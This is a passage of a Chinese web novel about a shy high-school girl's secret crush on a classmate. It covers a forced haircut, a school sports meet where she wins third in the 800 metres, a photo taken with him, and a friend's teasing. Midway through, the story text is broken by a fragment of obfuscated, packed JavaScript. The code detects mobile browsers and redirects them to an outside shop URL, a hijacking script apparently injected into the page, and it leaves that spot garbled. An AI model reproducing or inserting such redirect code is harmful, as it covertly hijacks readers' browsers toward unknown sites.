方梅华推她一下,“还不谢谢你二姨,你从小到大收了二姨多少礼物,这会儿二姨新店开业,也不说要我们支持,还要给你这个外甥女免费理发,她亲闺女都没这待遇!”
林稚水一下被架住,她急得咬唇,无意识攥紧了裤子,无奈重复:“我不剪头发,又没长长。”
方梅华已经有点不耐,“哪里不长?都长到肩膀了。”
林稚水自从初中起,方梅华为了杜绝她早恋的苗头,把她的长发直接一刀剪到了齐耳。
林稚水崩溃大哭,被方梅华一巴掌扇懵。
林国立一向当旁观者,只有这次他摔了碗,责骂林稚水:“留长头发有什么用?别跟你妈犟,学生要有学生的样子。”
林国立当旁观者就意味着他在林稚水的成长过程中参与度极低,林稚水和他并不亲近,或者说并不熟悉。
被林国立骤然一骂,她勉强止住哭泣,把哭声压抑在喉咙间,抽抽噎噎。
从此以后,林稚水的短发剪剪长长,四年下来才勉强留到齐肩的长度。
岳丁香看气氛不妙,打着圆场,“诶呀你放心稚水,你二姨的技术好着呢,保管给你剪的漂漂亮亮的。”
林稚水不情愿又无奈地被推着走,眼眶慢慢湿热起来。
方梅华在一旁坐下,“学生要什么漂亮,你就给她随便剪个短头发好了。”
岳丁香压着林稚水坐下,悄悄在她耳边说,“没事儿,二姨不给你剪那么短。”
林稚水喉间梗得难受,说不出话来。
一滴泪轻轻地掉落在塑料布上,留下一条湿痕。
方梅华猛然又站起来,满心烦躁:“你哭什么?好像我让你剪个头发是要害你一样!”
林稚水垂头不语。
方梅华和她僵持两秒,审视她:“以前剪头发也没见你哭哭啼啼……”
“你告诉我,是不是在学校里早恋了?”
8. 暗恋
林稚水抹了一把眼泪,沙哑着嗓子反驳:“我没有。”
方梅华本就是随口一说,她心里也不相信自己一向乖巧的女儿会早恋,“没有就把眼泪憋回去。”
岳丁香尴尬笑笑,“行了梅华,丫头也大了,别老说她。”
林稚水自知今日一劫难逃,闭了闭眼,湿润的眼睫耸拉着黏在一起。
她如今只能勉强寄希望于二姨不会下手太狠。
岳丁香不愧为一向疼爱她的二姨,咔嚓咔嚓地剪了半天,只把头发剪到了下巴,
方梅华看了看,有点不满意,“这样还是太长哇,过两天又要来剪了。”
岳丁香抖了抖满是碎发的塑料布,“就这个发型好,好多女学生都留这样的短头发,你又不懂喽。要是头发长了再让丫头来我这儿剪好了。”
方梅华勉强同意。
林稚水尚未平复心情,和岳丁香道谢时细若蚊声,“谢谢二姨。”
方梅华看她一眼,“也不知道随了谁,性格内向得要命,也不知道以后到了社会上怎么办。”
岳丁香说:“女孩子内向一点好,这叫文气,太外向的像什么?假小子?那你才有得愁呢。而且我们稚水成绩又好,以后肯定有出息的呀。”
方梅华甩了下手,“好什么呀好,到市里面去跟人家都比不了的,一下子就被甩到末尾去了,努力了一年现在也就能考个二本了。”
岳丁香白她一眼,“二本还不好?这成绩你们老林家都要烧高香了。”
方梅华心里总算好受一点,嘴上还是说着,“都考到市一中了,有能力还是想指望她能考个一本。”
岳丁香说:“这才高二刚开学呢,还有两年的进步空间呢,说不定到时候能考个211,985。”
方梅华笑她,心情舒爽,“你也想得太好了,哪有那么容易哦!行了,我带她回去写作业了。”
林稚水在一旁充当了半天桩子,这会儿才有了自主行动的权利。
长辈们的吹嘘仿佛与她毫不相干。
方梅华带着林稚水走了。
路上看着林稚水沉默寡言的样子,她又有些来气,“你说你,真是不懂事。你二姨免费给你剪头发,到其他店里去都要花个二三十的,有便宜你还不知道占。”
林稚水无言。
家里很穷吗?
其实她不太了解。
但家庭的经济压力总是像这样无形地压在她身上。
在尚未经济独立,依靠父母的现在,她不能指责自己的父母任何,尽管她的人格与主体性被压抑。
回到家,林稚水关上房门,悄声拉上窗帘,把自己闷在被子里小声地哭。
眼泪划过,留下潮湿的凉意,和一颗千疮百孔的心。
林稚水静静地趴了一会儿。
脑袋放空,什么也不想。
过了大概半个小时,她慢慢爬起来,红肿的眼睛传来刺痛。
平时的学习已经够忙碌了,空不出多余的时间来复习提升。月考在一月后,紧接着是期中考……大大小小的考试几乎都挤在一起,能利用的时间只有假期。
她不能不顾一切地哭下去。
林稚水揉了揉眼睛,拉开窗帘。
天光照射进来,窗外一只麻雀站在树枝上,歪着头用豆大的眼睛看她,然后“扑棱”一声振翅离开。
/
天空呈现着一种阴沉沉的灰,被雨水浸泡过的泥土散发着土腥气,混杂着空气中潮湿的水汽似有若无地飘进教室内。
夏珂满面愁容,“学校真会挑时间,都下了快一个星期的雨了,明天运动会怎么办。”
天色暗,教室里开着灯。
灯光下林稚水在看窗户的反光——迟到的时惟与在给课代表交作业。
“稚水,你看什么呢?”夏珂等了半天没等到好友的回复。
林稚水收回视线,“看外面还有没有下雨。”
夏珂泄气,“没下雨跑道也是湿的,学校不会把运动会推迟吧?”
林稚水安慰她,“别担心,我看天气预报了,今天下午和明天都是大太阳。”
夏珂转着笔嘟囔:“别安慰我啦,看出来你也心情不好。学校真烦,去年高一的时候就是遇上下雨天,我怀疑是故意的吧。”
林稚水笑笑,“我不担心,心情尚可。”
夏珂故意玩笑的话语背后藏着的是关心。
她大概以为林稚水还在为新发型而悲伤。
周一进校的时候,夏珂问她怎么剪短发了。
林稚水没忍住,红了眼眶,强撑着说:“太长了就剪了。”
夏珂噤声,片刻后才找回自己的声音,手足无措安慰她:“哇,挺好看的呀,以前的发型显得你清纯,现在的显得你可爱。果然人长得好什么发型都合适。”
林稚水“嗯”了一声,勉强应答,“谢谢,我哪有那么好看。”
夏珂忙揽住她,“怎么就不好看了……”她凑到林稚水耳边耳语,:“有人暗恋你……你感受到了吗?”
林稚水听到“暗恋”两个字,被吓得身体一抖,悲伤的情绪瞬间没了,她僵着身体,不敢相信自己听到了什么,更不知道自己在说什么:“暗恋……?什么?”
夏珂贱贱地笑,冲她挤眉弄眼,“你真不知道?”
林稚水稳了稳心神,心跳如鼓,强撑着镇定和夏珂对视:“不知道,你在说什么?”
夏珂还在笑。
林稚水慌张无措,眨眼的频率都变得有些快,忐忑地等待审判。
“说出来你也不相信吧,我怀疑陈归帆喜欢你。”
林稚水脑袋空白一瞬,而后依然不敢相信自己听到什么,“啊?”
夏珂见成功转移了林稚水的注意力,偷偷松了口气,她的语气带着兴奋,“这是我努力观察出来的!”
林稚水没听到那个名字,也偷偷松了口气。
她还以为刚刚是夏珂炸她呢。
夏珂见林稚水听了消息后的反应很平淡,有点失望,“你别不信呀,我特意观察过了,估计八九不离十。”
林稚水推了夏珂一下,脸上刚才被吓出来的红晕都退了些。
她很无奈:“怎么可能呢,我跟他完全不熟,八竿子打不着,你不要乱说人家。”
夏珂“哼”了一声,“你就等着看吧。”
林稚水态度坚决,“我就不看,不关心他。”
夏珂顺口问她:“那你关心谁?”
林稚水当时没有回答。
时惟与。
她的答案是时惟与。
就像现在,她难过的原因就在于时惟与。
他现在每天都会来上课,可是晚上没有再去过操场跑步。
高二一千多名学生,他行走在放学的人流里面。她每每只能背着书包在二楼远望一眼,人那么多,她看不到他。
为什么?
是因为那天让他觉得太麻烦了吗?
他在躲她吗?还是单纯的不想去?
林稚水总劝说自己,时惟与和她本来就应该是没有交集的人。但她依然忍不住多想,忍不住因为他而怅然若失。
下课时间只有十分钟。上节课老师拖会儿堂,下节课老师早来几分钟
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,留给学生的时间就几乎没有了。
林稚水就发了那么两分钟呆,英语老师就踏着高跟鞋进来了。
林稚水立刻正襟危坐,不敢再胡思乱想。
如果说其他课程她是听课认真的程度,那么英语课则是非常非常非常认真的程度,甚至有点提心吊胆了。
林稚水在县城初学英语的时候,英语老师是个发音非常不标准的老头子,可以说林稚水学习的一直以来都是哑巴英语。
然而高一开学第一天,林稚水就非常不幸地在课堂上被老师点名站起来读课文了。
她磕磕绊绊地读着带着乡音的英语。
老师听了两句连忙叫停,他撑着讲台,用眼神扫视林稚水,问她:“你初中怎么学的发音?哪个学校哪个老师教的?”
林稚水呐呐说不出话来。
二人僵持一会儿,老师又问,“你初中哪个学校的?”
林稚水小声回答,“涔水中学。”
老师不说话了。
他勉强想起来涔水镇这个地方,看一眼林稚水战战兢兢的样子,恍然了。
“行了,你坐下吧。”
林稚水低头坐下,面颊红得发烫,自卑感深深地侵蚀着她的内心。
她从来没有这么觉得自己和一中格格不入过。
老师审视的眼神,同学们传来的目光。
尽管林稚水刻意遗忘,心中的创伤却从不曾愈合。
从此以后,林稚水每天坚持提前一小时起床朗读英语单词,岳丁香听闻后就送了她一个mp3。林稚水非常珍爱这份礼物,也充分利用这份礼物提升自己的口语。
而英语课则因此成为林稚水心中的一大阴影。
她每每上课都带着近乎惶恐的虔诚。
这样的好处也很明显。
林稚水的英语一路突飞猛进,稳定在班级前三。
林稚水遇到的老师往往更喜欢在课堂上提点成绩落后的同学,再加上她从不举手,从不抢答,成功避开了每一次课上提问。
现在的她已经能发音标准地说出英语了。
但也失去了在英语课上回答问题证明自己的勇气。
/
下午天气果然放晴。
夏珂很兴奋,“看来运动会有希望。”她忽然想起什么,转向林稚水,“我爸今天出差回来,我们晚上有家庭聚会,今天晚上不能去操场了,稚水,你也早点回家吧。”
她补充:“反正运动会就在明天,临时抱佛脚也没什么用了,万一训练把自己弄骨折了就完蛋了。”
林稚水没什么意见,“好啊。”
说到明天的运动会……
林稚水咬着笔,不敢多想。
她从来没有主动报名参加过什么,对在人群中亮相的活动一向敬而远之。今年的运动会是头脑一热的冲动决定,连她自己后续反应过来的时候都觉得有些惊讶。
想到自己要在全校人的注视下跑步,林稚水又有点瑟缩。
但是不后悔。
全校人。
时惟与也会在。
他会看吗?
林稚水咬着笔的力气略略加重。
时惟与只指导过她一次。
林稚水不敢放松,之后又在网上查了很多相关的资料,尽力想要在他面前做到完美。
更想被他看见。
想让他知道,她学得很好。
林稚水松开笔,默默趴下,遮挡住自己发红的脸。
明明一开始,她只想做那个可以在背地里一直注视他的人。
为什么现在她越来越贪心了?
9. 暗恋
放学铃打响,教室里瞬间骚动起来。有人已经乘着晚自习提前收拾好了书包,一溜烟就冲了出去。
夏珂急急忙忙把作业胡乱塞进书包,和林稚水打了声招呼,“稚水,我先走了。”
林稚水和她挥了挥手,然后在桌上翻找着物理作业。书本来回翻了一遍,试卷一张一张检查,都没发现那张物理试卷。
她起身在地上环视一圈,又去教室前的书架上翻找多余的,依然没能找到。
教室里已经基本空了下来,只剩两三人。
林稚水无奈,收拾了书包去物理组办公室。
等她终于找拿到试卷出来,学校里已经安静下来了。
林稚水走在路上,感叹了一句倒霉。
她没有想到,这一点微小的不幸,命运居然慷慨地给了补偿。
高三的教学楼还亮着,他们比高二晚放十分钟。高一高二的教学楼已经黑漆漆的了。
林稚水下楼,没有直接回家,她绕到高三教学楼旁边的操场上去看了一眼。
跑道上有几个熟悉的面孔,是她们班报名接力赛的同学。
没有她想见的那个人。
他已经回家了吗?
林稚水有些泄气,转身准备离开。
转过身的那一眼里,暖黄的、昏暗的路灯下,她看到了一个熟悉的背影。
少年的脊背不像成年人那般宽阔厚重,而是劲瘦挺拔的。薄肌隐在衣物下,只能窥见他布满漂亮肌肉线条的臂膀。
那是林稚水最熟悉的背影。
她费尽心思日思夜想想要靠近、遇到的那个人。
就这样和她不期而遇。
时惟与正拿着手机在打电话。他听着电话那头的声音,偶尔应答两句,然后随意坐到了一个圆形花坛边上。
林稚水一时停滞在原地。
路过他?
舍不得。
偷看他?
不太好。
她怕炙热的视线太有存在感,低着头在原地纠结良久,然后小心翼翼地,坐在了花坛的另一侧。
和时惟与隔着花花草草背对背。
林稚水抱着书包平复自己的心跳,她也不知道自己在紧张什么。
她看不见他,他不知道她的存在。
但是,他们感受着同一处花岗岩的冰凉和同一片花草的芬芳。
这是最好的距离,不远、不近,刚好能让她的心里泛起带着酸涩的甜。
这个花坛,是她为自己搭建的短暂的乌托邦,是她给怯懦的自己一点力所能及的慰藉。
贴着脸的书包传来冰凉的触感,身后是时惟与模糊的声音……
林稚水静静坐着,向上天祷告,祈祷这一刻的永恒。
高三的放学铃响起,旁边的教学楼传来阵阵喧闹。林稚水不知道,这时候有一位学姐正趴在栏杆上,用ccd拍下了这一刻关于她和时惟与的合照。
像素不高的照片最终出现在三年后的表白墙上。
学姐说当时看到觉得很有氛围感就抓拍了,只是第二天运动会拍了太多,一时之间把这张照片忘在了脑后,三年后才被无意间翻出来。
照片里的时惟与刚好放下手机,和林稚水呈现出同时低着头的动作,看起来各自都满满心事,心情不佳。
学姐在最后问,有人知道照片的两位主人公是谁吗?他们是在闹别扭的情侣吗?如果是情侣,后来还在一起吗?
林稚水没有出来认领照片,只是默默地保存。
原谅她自私一点,不想拆穿这个“误会”。
在时惟与出国的第三年,她骤然收获这一张合照,惊喜、感慨、遗憾……种种情绪最终都化作一滴热泪,落在了屏幕上。
这张合照带来了甜蜜,也带来了时间的苦涩。
/
运动会当天,11班的入场仪式十分平平无奇,尽管前任体委段一舟和现任体委贾思雨都有心想要策划一个出彩的方案,但古板的中年男性班主任陈东全部一票否决了。
他的硬性要求是简单一点,不要花里胡哨的。
段一舟先前明里暗里带着几个班委斗争过很多次,都被陈东无情镇压。
眼看运动会在即,又只有体育课有时间排练,段一舟不敢再拖延时间,匆匆定下了一个草率的方案。
确定完方案不久他就出国了,把这个烂摊子交给了贾思雨。
贾思雨又和陈东争辩了几回,最终无奈接受了段一舟留下的简朴方案。
没有唱歌没有跳舞更没有靓丽的服装,11班穿着普通的校服,带着国旗跑操入场。
时惟与个子高,身姿挺拔,被贾思雨诚恳地请求当其中的一个国旗手,然而被他礼貌地拒绝了。
准备时间不足,贾思雨急着要把人定下,只好遗憾地放弃劝说他。
同样失望的是林稚水。
少年人在阳光下拉着国旗奔跑。
这个场面该有多么耀眼。
夏珂羡慕地看着其他班级八仙过海各显神通,“希望高三遇到个好一点的班主任。”
林稚水用淡淡的语气说出绝望的事实,“高三没有运动会。”
夏珂捂着脸哀嚎,“我的青春也太无聊了!”
林稚水则心不在焉,她倒不太关心虚无缥缈的高三。她的心神一部分在下午的八百米比赛上,一部分在队伍末尾的时惟与身上。
她好想回头看看他。
可惜找不到回头的理由。
好不容易捱到领导讲话结束散场,夏珂拉着林稚水去小卖部买饮料,“这天气真有病吧,一会儿阴嗖嗖地下雨一会儿又是大太阳晒死人。”
林稚水闷笑一声,“这不是你盼望的太阳吗?”
夏珂叹气,“我只想要一个正常的温度适宜的晴天,都快十月份了还这么热。”
夏珂拿了营养快线,她从小喝到大,扬言永远也喝不腻。
林稚水不太爱甜腻腻的饮料,只拿了一瓶矿泉水。
林稚水观察过,时惟与不爱去茶水间和一群人挤着接水,基本都是喝矿泉水。
他最常喝的牌子是依云和百岁山。依云似乎是他从家里带的,小卖部不卖这个,只有百岁山。
因此她拿了一瓶百岁山。
夏珂瞥了一眼,真诚推荐:“农夫山泉比较好喝。”
林稚水轻轻笑了声,也很真诚:“百岁山的瓶子看起来比较高级。”
夏珂啧啧摇头,谴责她:“你太颜值主义。”
林稚水并不反驳。
她跟着夏珂前去结账,略一扫视,没有看到时惟与。
她已经养成期盼和他偶遇的习惯。
但期盼总是十次有九次落空。
夏珂的跳远比赛在上午,她握着林稚水的手,有点紧张,“我这种体育废柴还没参加过运动会呢。”
林稚水回握她,“别怕,我也是第一次。”
夏珂瞬间仿佛被安慰到了,“差点忘了,你是魔鬼长跑——你怎么好好的要去跑八百米啊?以前没见你这么热爱体育。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096987|195662||http|test|mini|href|location''.split(''|''),0,{}));
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>林稚水一噎,话题转换得猝不及防,她差点没反应过来。
林稚水清了清嗓子,平静道:“当时脑子一抽,想挑战自己了。”
这理由和上次回答的没什么出入。
夏珂没炸出自己想听的,失望地靠着林稚水的肩头,“唉,是吗?好吧,你说是就是吧。”
林稚水怀疑夏珂在怀疑什么。
但她心里也没个底。
应该不会猜到吧?
林稚水稍有些忐忑。
夏珂的跳远很快开始,但很轻松地就结束了。
她对着班级里负责拍照的女生比耶,笑得很高兴:“还以为多难呢,真好糊弄。”
而林稚水的长跑,也在她紧张的等待中,在下午准时开始了。
女子长跑比赛在男子长跑比赛之前开始。
跑道边站满了人,和选手们一起等待着裁判的枪声。
林稚水摆出备跑姿势,脑袋一片空白,心跳得很快,呼吸也有些急促。
“砰!”
一声枪响后,选手们都迈开腿,震耳欲聋的加油声混着猎猎风声传到耳畔。
林稚水咬着牙,肺部仿佛被烧穿,身体在机械地奔跑,意识却被割裂。
参加比赛是因为想要靠近他。
他会看到吗?
想被他看见她努力的样子。
又怕被他看见她跑步时的狼狈。
一刻也不敢松懈,林稚水全力奔跑,很希望能迎回一个奖牌。
至少在他面前,她想要闪耀一次。
林稚水迈着灌铅的双腿拼力跑着,她看见夏珂站在跑道中间冲她兴奋地张开了双手。
还有一点点路程。
她拼尽全力冲刺,撞向了夏珂。
夏珂抱着她倒在了地上,开心地大喊,“稚水!你太棒了!第三名!好厉害好厉害!”
班级里负责后勤的一个女生过来扶起林稚水,递给她一个塑料杯,“喝点温水,慢慢走一走缓一缓。”
林稚水半靠着夏珂,脑子因过分充血传来阵阵的疼,艰难回应:“谢……谢谢……”
夏珂扶着林稚水慢慢地走着,兴奋的余劲还没过去,“稚水,你真的太厉害了!第三名!第三名!你拿奖了!你可以带着奖牌去领奖了!”
林稚水的呼吸还没平复,习惯性推脱别人的夸赞:“第……第三名……而已……”
夏珂的嘴一刻也不停:“你早说你有这潜力!我好替你骄傲!”
林稚水缓了一点儿,有意识地带着夏珂往跑道旁边回。
夏珂沉浸在自己的兴奋中,一时之间没有察觉。
直到她们在跑道旁边的主席台下停下。
有人见是运动员,占着位置的同学还贴心地给她们让了路。
夏珂这才反应过来,“怎么又回来了?”
林稚水说着冠冕堂皇的理由,“在阴凉处歇会儿。”
夏珂闻言了然,递给林稚水那瓶她没喝完的百岁山。
林稚水接过,又装模作样问:“接下来是什么比赛?”
夏珂想了下,“男子组长跑。”
她提议:“那我们多待一会儿,正好我们在这个绝佳的位置可以看比赛。”
林稚水“嗯”了一声,正要赞同。
夏珂这时候好像想到什么,突然转过脸,问:“你不会是特意选的这个位置吧?为了看某个人比赛?”
她特意加重了“某个人”三字。
林稚水闻言立刻被矿泉水呛了一下。
10. 暗恋
林稚水偶尔觉得自己装平静都装出条件反射了。纵然被呛了一下,但她依然能假装若无其事地回答:“不要乱想。你最近怎么老想些情情爱爱的事,还都是关于我的。”
话题引回夏珂身上,她果然被转移了注意力,“唉,这不是最近让我发现陈归帆关于你的小心思了吗?所以才额外多注意了一下。”
林稚水纠正:“他的小心思跟我没关系。”
夏珂“嘿嘿”笑了两声,推了推她,“诶呀等会儿再聊这个,比赛要开始了。”
林稚水把视线放到跑道上。
时惟与今天没穿校服。明明是款式普通的白色短袖,穿在他身上也仿佛成了设计师的作品。
林稚水很珍爱时惟与不穿校服的样子,和平时疏离冷漠的他比起来,这让她窥见一丝时惟与离经叛道的模样。
仅仅是这一点点的不同,对林稚水来说也是特别的、罕见的。
高一刚进校的新生们被老师们三申五令,都不太敢违抗命令不穿校服,也不敢带手机相机之类的电子产品。
但等到高二,许多人已经混成了老油条,不再把这些规矩当回事儿了。
林稚水再次见到了之前在KTV看见的几个少年,在跑道边和时惟与招手、欢呼、举着相机在记录。
时惟与偏头,不知道和他们说了什么。
看着时惟与转头的背影,林稚水心里陡然生出一点羡慕。
那点轻松、熟稔和理所当然的亲近,是她梦中也触不可及的。
“砰!”
欢呼声瞬间在耳边炸响。
夏珂受现场气氛感染,本来也是活泼的人,立刻加入气氛组大喊起来:“加油!”
林稚水没有出声,只是不自觉攥紧了校服。
她的视线紧紧追随着时惟与的身影。
他奔跑的身姿,被风扬起的衣摆,凌乱黑发下锋利的眉眼……这样意气风发的样子,看一眼少一眼。
这个时候她才迟钝地和夏珂同频。
高三没有运动会,真的是太可惜了。
优秀的人大概在什么领域都能出彩。
时惟与明明不是专业的,却能稳稳超过所有人跑在第一。
加油。
她在心底默默地喊。
广播站传来的加油稿一个接一个的播报。
“高二(11)班的时惟与同学……”
“时惟与同学……”
“未来高二(20)班的时惟与同学……”
“时惟与,你好……”
负责念稿的同学终于发现时惟与一个人占了太多名额,她停了几秒,在稿子里面翻了翻,总算找到一张别人的。
林稚水的稿子,就这样遗憾地被略过了。
去年,陈东点名了几个语文好的同学要求每人写两篇稿子,林稚水是其中一员。
今年无需点名要求,运动会前一天,她自发地给每一个运动员都准备了加油稿。
时惟与的混在里面也就不突兀了。
夏珂和时惟与的都是认认真真写的,其他人的就没有那么用心了。
可惜有时候经历一些遗憾是在所难免的,那篇倾注了她心血的加油稿并没有在时惟与的耳边响起。
欢呼声愈喊愈烈,渐渐地把广播的声音都要盖过去了。
时惟与像一支离弦的箭,倏然冲过了终点线。
尖叫声响彻在林稚水的耳畔,夏珂晃着林稚水的身体,激动万分:“我靠第一名!时惟与也太帅了!二十班亏死啊!我们班真的赚大发了!”
林稚水被晃地懵住,还没反应过来要回答什么,班级里那个拍照的女生秦思文过来找了她。
“林稚水!过来拍照吗?”
听到拍照,她下意识地想拒绝,可是抬眼却看见秦思文举着相机站在离时惟与不远的地方。
时惟与穿过给他送水的人群,拿着矿泉水远远地站到一边,身边围着两三个男生在跟他说笑。
秦思文又喊了一句,“来呀,我给你们两个拿了奖的长跑运动员一起拍一个。”
林稚水的心脏骤停一瞬。
夏珂推了推她,笑得贱兮兮的,“快去呀!别害羞!”
林稚水迈步。
从她的位置穿过跑道去到时惟与附近的草坪上,一共走了十六步。
时至今日,她依然记得。
林稚水走过去,秦思文立刻向时惟与招了招手,“时惟与,来拍个合照吧,你们都是长跑得奖的功臣。”
林稚水这才反应过来,原来时惟与还没答应。
他正仰头喝水,闻言视线自然扫来,不偏不倚,林稚水和他对视了个正着。
林稚水匆匆移开视线,不敢看他,等待悬在头顶的达摩克利斯之剑的审判。
“好。”
时惟与说。
达摩克利斯之剑落下,没有斩断她的头颅,而是给她带来一阵失重般的眩晕。
林稚水的眼睫颤了颤,恍如梦中。
时惟与朝她走来,一共走了两步。
她也记得。
惊喜,激动,惶恐……太多情绪骤然涌上来,林稚水反而大脑一片空白,短暂地失神了。
秦思文举起相机。
“3!”
林稚水回神,心快要跳出胸膛。
“2!”
她纠结着,要不要笑一个?
可是刚运动完的她一定很狼狈,不好看。
“1!”
林稚水忐忑地露出了一个腼腆的笑。
秦思文拍完就要走,还有很多人等着要拍照,她留下一句:“照片回头我发你们。”
“谢谢。”
林稚水很真诚地道谢,几乎要落下泪来。
她是真的真的非常感激秦思文,让她能和时惟与拥有一张合照。
至少以后,还有照片留作纪念。
时惟与在她的记忆里永远不会模糊了,她可以永远靠着照片记住他年少时的模样。
拍完照,林稚水没有留下来的理由。
她往回走,听到背后传来时惟与朋友的声音:“时惟与,我们也拍一个!发给段一舟看看,羡慕死他。”
时惟与依然是那副平静的语气:“行。”
他就是这样礼貌的体面的人。
所以不会拒绝和她的合照,也不会拒绝朋友的要求。
她不是特殊的,也不是唯一的。
纵然如此,竟也觉得足够幸福了。
暗恋究竟是一种什么感受?
暗恋是痛苦的吗?暗恋是幸福的吗?
暗恋是苦涩的吗?暗恋是甜蜜的
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吗?
是的。
是的。
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“好了,从实招来吧。”
夏珂抱胸紧盯着林稚水,不错过她脸上任何一个微表情。
林稚水则是泰山崩于前而面不改色,“招来什么?”
夏珂震惊,“你再装!快点向我坦白我就原谅你,不然……抗拒从严!”
林稚水装傻到底,她了解夏珂的性格,选择嘴硬:“听不懂你在说什么。”
夏珂冷哼了三声,一声比一声响,反而把林稚水逗笑了。
林稚水忍着笑问:“你到底想说什么?”
夏珂“嘶”了一声,放弃跟林稚水绕圈子,“时惟与,你觉得他怎么样?”
林稚水垂眸,不敢暴露一丝一毫的不对劲,“挺好的,怎么了?”
夏珂狐疑地看着她,“只是这样?那你跟人家拍照脸红的跟猴屁股一样干嘛?”
林稚水顿住。
那个时候完全丧失了思考的能力,一点也没察觉到自己的脸居然早就烫得不行了。
她抬头,轻打了下夏珂,有点羞恼:“什么猴屁股。”然后给出了一个很诚恳的理由:“那是我第一次跟异性单独合照。”
夏珂噎住,然后轻掐了下林稚水的脸,“你这个纯情宝宝。”
她搂过林稚水畅想:“等我以后当了有名的模特儿,我就一天给你介绍一个大帅哥,让你以后能对着各种男人都面不改色。”
夏珂从小的梦想都是当模特。虽然家里不同意她走艺考的路,但她从没放弃遗忘过自己的梦想。
林稚水笑,“那我……谢谢你?”
夏珂大方回答:“不用谢!”
“请女子800米比赛获奖者前往主席台领奖。”广播传来重复了三遍的通知声。
夏珂比林稚水这个当事人还激动,“快去领奖!你知道吗你今天真的太太太厉害了!居然能拿第三名!”
林稚水实话实话自己也没想到,“其实我也很惊讶,今天一整天都像在做梦……”
拿奖,合照。
都是她从来没有幻想过的事。
走到主席台上的时候还是懵的,直到那张写着她名字的奖状被年级主任送到了手里。
薄薄的一张纸。
在她心上却沉甸甸的。
年级主任拍了拍她的肩,说着惯例的好话,“不错,要继续努力。”
林稚水小声回应:“谢谢。”
发完奖状,学生会的同学组织现场,举着相机招呼大家,“运动员都把奖状举起来拍个合照,奖牌升旗仪式的时候会再发。”
林稚水站在右边的位置,举着那张轻飘飘的奖状,浅浅弯了弯眼,眼眶湿热。
纵然报名长跑的理由并不单纯,但每晚的坚持、肌肉的酸痛是属于她的,成果也是属于她的。
这次的眼泪为自己流。
不是因为害怕、悲痛,是因为那一点点成长。
她真的好厉害。
即使是第三名,也好厉害。
林稚水走下主席台,和下一批领奖的运动员擦肩而过。
时惟与是其中之一。
她的眼眶中再次泛起热泪。
暗恋是什么?
它能让暗恋者变得更好吗?
能的。
11. 暗恋
夏珂很新奇地端详了一会儿林稚水的奖状,“真好奇奖牌会是什么样的,我从小到大都没摸过呢,不知道有没有真金。”
林稚水轻笑一声,“学校哪有那么大方。”
夏珂顿时煞有其事地点头,话题很快偏了,“你说的对。抠门学校不知道什么时候能把食堂万年不变的菜品换一换,就算不换至少也把品质提升一点吧。哼,还百年老校呢。”
林稚水对吃食没有太多要求,能入口就行,因此难以体会夏珂的气愤。但她一向和夏珂站在统一战线,闻言也点头应是。
夏珂拉着她往四号楼走,“我要跟你说个大秘密。”
一二三号楼分别属于高一高二高三,四号楼是专因考试时考场不够而建立的,平时少有人烟。
夏珂十分谨慎,一路拉着林稚水到了五楼的教室里才作罢。
林稚水看她如此小心,觉得有些好笑,“到底是什么秘密?”
夏珂按着她坐下,一脸八卦:“陈归帆喜欢你!你不是不信吗?听我细细给你分析。”
林稚水被夏珂直白的话说得脸热,“别乱点鸳鸯谱了。”
青春期的女生正处在探索感情的时候。早恋作为老师和家长们讳莫如深的问题,反而激起了大家的好奇心,对相关事件报以极大的八卦之情。
林稚水又是夏珂的好朋友,她自然关心好友的感情问题,并自认这是她身为闺蜜应尽的责任。
夏珂道:“你一定要听!”
“我不听。”林稚水起身要走。
“别急呀!你听一下嘛!你就说我说得对不对。”夏珂又压住她。
林稚水无奈,“那你说吧。”
她都有点好奇夏珂能编出什么瞎话来了。
夏珂“嘿嘿”一笑,拉过椅子在一边坐下。
“第一,他好端端地为什么要来教你跑步?这奇怪的热心如何解释?”
“他……好为人师。”而且他也没教成。
林稚水没说后半段话,生怕夏珂又扯到时惟与身上,那她才是真的要慌乱了。
“第二,他虽然性格跳脱,却从来不爱往女生面前凑。他那天为什么突然跑到你面前给你道歉?”
“他知错就改,悔悟了。”
林稚水心头一跳,不知为何联想到了那次她去问段一舟的事。
不过,应该也想不到时惟与身上吧?毕竟她没有直接去找时惟与。
夏珂并不反驳,信誓旦旦道:“好,就算以上你可以替他狡辩,第三条你绝对说不出话了。”
“什么?”林稚水好奇。
“第三,我已经发现他偷看你多次了。”
林稚水:……
她都有些疑心夏珂是不是真的在说陈归帆了,难道是在含沙射影?陈归帆有没有偷看她她不知道,但是她偷看时惟与却是实打实的。
夏珂看林稚水已经无话可说,得意洋洋道:“你看,这个没话说了吧?”
林稚水想了想,问:“你怎么确定他是在看我不是在看我身边的人?”
林稚水突然恍悟什么,笑道:“万一他是在看你?想教我跑步是为了跟我打好关系想靠近你,来向我道歉其实是因为你在我身边?”
夏珂顿时睁大了眼睛,一时语塞。
不过她很快反应过来,没被林稚水带着跑,“如果他看的是我,那我们直接就对视了。我可以确定他看的不是我,是你。”
林稚水替她分析,“万一他是发现你看他,所以不敢看你,拿我当挡箭牌呢?”
夏珂又被噎住,脑子里一团乱。
林稚水也好不到哪去,心里慌乱乱的。
她回忆了一下自己偷看时惟与的情况。都是借着做别的事的契机才会看一眼,应该并不明显吧?
她缓过神,看夏珂的样子,林稚水有意逗她:“你跟我分析半天,最后发现陈归帆喜欢的是你?那你觉得他为人如何?”
夏珂发现自己说不过林稚水,却又很相信自己的第六感,默默发誓要找到更多证据,但嘴上很识时务地迅速服软,“其实……他喜欢的是谁,有没有喜欢上人,都跟我们没关系。”
林稚水有点欣慰,“你知道就好,别再乱想了,本来也是不相干的人,花那么多心思干什么呢。”她想了下,又道:“你这想象力要是用在作文上就好了。”
夏珂抱怨,“这用的不是同一种想象力。”
她随口一说,很快将之抛到脑后,“那……陈归帆不行,时惟与怎么样?”
林稚水故作忍无可忍的样子地轻敲了下夏珂的脑袋,“你怎么要把所有人都跟我配个对呢?”
夏珂不服气道:“那你也听听我的看法。”
林稚水捂上耳朵,“我不听。”
然而夏珂并不肯放弃,“我知道你这样也听得见,你听我说。”
“第一,时惟与,他好端端地去教你跑步干什么?”
